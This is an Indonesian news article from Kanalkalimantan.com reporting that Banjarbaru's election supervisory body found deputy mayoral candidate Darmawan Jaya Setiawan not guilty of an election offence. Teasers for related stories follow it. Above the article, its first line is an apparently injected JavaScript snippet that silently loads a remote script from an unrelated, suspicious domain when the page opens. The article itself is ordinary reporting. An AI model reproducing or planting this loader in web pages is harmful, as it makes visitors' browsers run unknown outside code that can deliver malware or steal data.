(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bawaslu Banjarbaru menindaklanjuti kasus pelaporan dugaan pelanggaran Pilkada oleh calon Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan. Dari hasil tindaklanjut yang dilakukan, Bawaslu menyatakan Jaya tak terbukti melakukan pidana Pilkada.
Melalui rilis Sabtu (19/9/2020) siang, Bawaslu Banjarbaru mengumumkan bahwa Jaya telah dilaporkan oleh seseorang bernama Bagus Silviarto pada 14 September 2020.
Menyusul laporan tersebut, Sentra Gakkumdu Kota Banjarbaru yang beranggotakan Bawaslu, Polri, dan Kejaksaan, sudah melakukan pemeriksaan secara maraton selama kurang lebih 5 hari sejak pelaporan tersebut.
Ketua Bawaslu Banjarbaru, Dahtiar, mengatakan, dalam memproses laporan tersebut, pihaknya telah memanggil sebanyak 9 orang, 1 ahli hukum dan 1 ahli hukum administrasi.
Ia menegaskan bahwa dari hasil proses tersebut, Jaya tidak terbukti melanggar pidana Pilkada.
“Kami juga telah mengumpulkan alat bukti lain berupa surat-surat, dokumen-dokumen, foto, dan video. Dari semua ini telah didapat petunjuk bahwa tidak ada tindak pidana pada rangkaian kejadian yang dilaporkan tersebut,” katanya.
Dari proses itu, kata Dahtiar, sesuai Pasal 188 jo Pasal 71 Ayat (3) UU No.10 Tahun 2016 terkait dengan adanya unsur subjektif dan unsur objektif, diperoleh kesimpulan bahwa pelaporan terhadap Jaya belum terpenuhi unsur unsurtindak pidananya.
Sehingga tidak ditindaklanjuti proses penyidikan atau dihentikan karena tidak memenuhi unsur pasal 188 jo 71 Ayat (3) UU Nomor 10 Tahun 2016.
Terakhir, Dahtiar menjelaskan bahwa Sentra Gakumdu Kota Banjarbaru bukan hanya menangani tindak pidana Pilkada, tapi menjaga pemilihan yang berintegritas.
Ada beberapa hal yang prinsipil untuk ditegakkan bukan hanya pada aspek Pidana, namun juga secara etika, kepantasan, kepatutan serta moral yang memang bukan hanya semata-mata hukum positif.
“Akan tetapi itu sama pentingnya untuk menjaga pemilihan yang berintegritas. Oleh karenanya, kami menghimbau agar semua pihak yang terkait dalam Pemilihan tahun 2020 agar lebih bersikap selektif dan lebih bijak demi terwujudnya pemilihan yang berintegritas,” pungkas Ketua Bawaslu.
Seperti yang sudah diberitakan, calon Wakil Walikota Darmawan Jaya Setiawan dilaporkan ke Bawaslu terkait dugaan pelanggaran saat datang di acara ‘Pemilihan Sehat’ yang digelar KPU Banjarbaru beberapa waktu lalu.
Dimana ketika itu, Jaya yang juga menjabat sebagai Wakil Wali Kota tersebut, nampak masih menggunakan atribut pejabat saat mendampingi pasangannya Martinus, menandatangani komitmen Pilkada dengan protokol Covid-19.
Jaya pada saat itu juga diundang dalam kapasitas sebagai Wakil Wali Kota, untuk menyaksikan deklarasi “Pemilihan Sehat di Kota Banjarbaru”, Kamis (10/9/2020) siang. Turut berhadir, 3 kandidat pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.